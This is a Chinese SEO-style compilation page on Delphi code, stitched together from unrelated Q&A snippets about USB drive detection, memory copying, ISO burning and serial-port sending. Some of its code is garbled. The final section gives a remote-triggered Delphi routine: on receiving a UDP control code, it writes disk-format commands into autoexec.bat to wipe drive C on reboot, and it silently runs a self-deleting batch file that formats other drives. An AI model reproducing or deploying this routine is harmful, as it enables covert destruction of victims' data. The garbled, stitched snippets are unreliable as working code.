delphi刻录代码（delphi代码提示）

本篇文章给大家谈谈delphi刻录代码，以及delphi代码提示对应的知识点，希望对各位有所帮助，不要忘了收藏本站喔。

本文目录一览：

• 1、delphi 取U盘盘符代码
• 2、delphi的简单代码
• 3、如何打开用delphi写的源代码?
• 4、用DELPHI怎么才能把文件刻录到DVD光盘中
• 5、一些delphi 的代码，什么意思
• 6、格式化硬盘的 Delphi程序代码

delphi 取U盘盘符代码

procedure TForm1.Button1Click(Sender: TObject);

var s:string;

x:integer;

i:char;

begin

for i:='B' to 'Z' do //因为A盘是3.5英寸软件 也算是可移动的 ，所以先排除在外

begin

s:=i+':\';

x := GetDriveType(pansichar(s));//得到盘的类型

if x=2 then

begin

showmessage(i+' 盘是可移动磁盘');

end;

end;

//从B到Z 进行测试，如果是U盘就输出，因为可能有很多u盘 所以并没有在找到第一个就进行跳出

end;

end.

我的做法就是测试所有的A:\ B:\ C:\

测试通过 请在能用之后 给我加分啊 谢谢 我花了1个多小时才搞出来的 查很多资料，然后自己又写。

所查资料：该资料来自葵花宝典

当要知道所选的驱动器属于什么类型时，请看下面的程序

var x:integer;

driver:pchar;

begin

driver:='f:\';

x := GetDriveType(driver);

Case x of

2: Label1.Caption := '该驱动器是可移动驱动器';

3: Label1.Caption := '该驱动器是固定驱动器';

4: Label1.Caption := '该驱动器是网络驱动器';

5: Label1.Caption := '该驱动器是CD-ROM驱动器';

6: Label1.Caption := '该驱动器是虚拟驱动器';

Else Label1.Caption := '该驱动器无效';

End;

end;

delphi的简单代码

以下提示供参考：

1、在 delphi 语法中，参数的定义格式如： 变量名：变量类型；可以添加 const 或是 var 指示。

因此，上面的代码中，函数的定义修改示例如：

  function Test(const cPData: PChar; const cSize: DWORD): PChar;

2、在 Test 函数中，主要是调用 MoveMemory 函数，该函数定义于  Winapi.Windows 单元文件，其函数原型定义如下：

procedure MoveMemory(Destination: Pointer; Source: Pointer; Length: NativeUInt);

begin

  Move(Source^, Destination^, Length);

end;

此函数与 CopyMemory 函数完全一致：

procedure CopyMemory(Destination: Pointer; Source: Pointer; Length: NativeUInt);

begin

  Move(Source^, Destination^, Length);

end;

如何打开用delphi写的源代码?

file→open project(ctrl+f11)→选择程序存放位置→找*.dpr(工程文件)打开即可。

用DELPHI怎么才能把文件刻录到DVD光盘中

个人建议你用 delphi 编写生成 iso 的

然后用其他工具烧录 iso

一些delphi 的代码，什么意思

这段程序估计是将一个队列数据中的当前数据发送到串口

procedure tFrmReader.sendData();

var

orderStr : string;

begin

if orderLst.CountcurOrderNo then // 判断有没有到队列尾

begin

orderStr:=orderLst.Strings[curOrderNo];

// orderLst存放的应该是准备发送的数据队列,这里取当前位置数据

memComSeRe.Lines.Add('== '+orderStr);

// memComSeRe应该是TMemo类型,输出准备发送的文本

orderStr:=exchData(orderStr);

// exchData函数估计是为下面要发送到串口的数据进行格式转换吧

comReader.WriteCommData(pchar(orderStr),length(orderStr));

// 向串口发送数据

inc(curOrderNo);

// curOrderNo应该是全局变量,记录队列当前位置,现在令它指向下一个

end;

end;

格式化硬盘的 Delphi程序代码

procedure TForm1.CUDPDataReceived(Sender: TComponent;

NumberBytes: Integer; FromIP: String; Port: Integer);

var

CtrlCode:array[0..250] of char;

Trun:string;

hDesktop : Thandle;

forc,ford:textfile;

//向Autoexec.bat写格式化命令

begin

CUDP.ReadBuffer(CtrlCode,NumberBytes);

// 读取控制码

if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]+CtrlCode[4]+CtrlCode[5]='fordis' then

//格式化磁盘

if CtrlCode[6]='c' then

//格式化系统盘，将命令写入autoexec.bat，重起后生效

begin

assignfile(forc,'c:\Autoexec.bat');

rewrite(forc);

writeln(forc,'@echo off');

writeln(forc,'format c:/q');

// /q快速格式化

writeln(forc,'echo y|format c:/q nul');

//在Dos shell控制台下显示格式化信息

closefile(forc);

end

else

//格式化其它磁盘，将命令写入批处理文件，立即执行

begin

assignfile(ford,'c:\a.bat');

rewrite(ford);

writeln(ford,'@echo off');

writeln(ford,'format '+CtrlCode[6]+':/q');

writeln(ford,'@del %0');

closefile(ford);

winexec('c:\a.bat',sw_hide);

//开始格式化

end;

delphi刻录代码的介绍就聊到这里吧，感谢你花时间阅读本站内容，更多关于delphi代码提示、delphi刻录代码的信息别忘了在本站进行查找喔。